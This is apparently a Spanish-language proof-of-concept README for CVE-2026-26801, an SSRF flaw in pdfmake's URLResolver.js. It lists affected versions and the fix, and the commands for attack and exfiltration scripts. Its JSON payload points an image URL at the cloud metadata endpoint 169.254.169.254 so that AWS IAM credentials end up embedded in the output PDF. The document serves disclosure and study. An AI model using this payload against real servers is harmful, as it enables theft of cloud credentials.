
PoC para CVE-2026-26801: SSRF en pdfmake URLResolver.js (>= 0.3.0-beta.2, <= 0.3.5)
| Campo | Valor |
|---|
| Paquete | pdfmake |
| Versión | >= 0.3.0-beta.2, <= 0.3.5 |
| Corregida | 0.3.6 |
| CVE | CVE-2026-26801 |
| Tipo | Server-Side Request Forgery (SSRF) |
| Ubicación | src/URLResolver.js |
| Severidad | ALTA |
// URLResolver.js line 3
const response = await fetch(url, { headers }); // NO VALIDATION!
Cuando docDefinition contiene URLs en images, attachments, o files, pdfmake las obtiene sin ninguna validación:
npm install
npm run metadata
npm run server
SSRF Ciego (demuestra que el servidor realiza peticiones salientes):
npm run attack
SSRF de Lectura Completa (credenciales incrustadas en el PDF generado):
npm run exfiltrate
npm run attack)Salida del Servidor de Metadatos:
[METADATA] GET /latest/meta-data/iam/security-credentials/vulnerable-ec2-role
[METADATA] >>> CREDENTIALS LEAKED! <<<
Esto demuestra que el servidor vulnerable realizó una petición saliente a nuestro endpoint controlado.
npm run exfiltrate)El script de ataque genera exfiltrated.pdf. Ábrelo en cualquier visor de PDF y el JSON de credenciales AWS estará incrustado como adjunto de archivo (metadata.json). Esto demuestra exfiltración completa de datos, no solo SSRF ciego. El atacante obtiene el cuerpo real de la respuesta dentro del PDF.
{
"content": ["Hello"],
"images": {
"x": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
}
}
Writeup técnico completo con la historia de cómo se encontró, la cadena de ataque y el cronograma de divulgación: mariopepe.github.io/cve-2026-26801-pdfmake-ssrf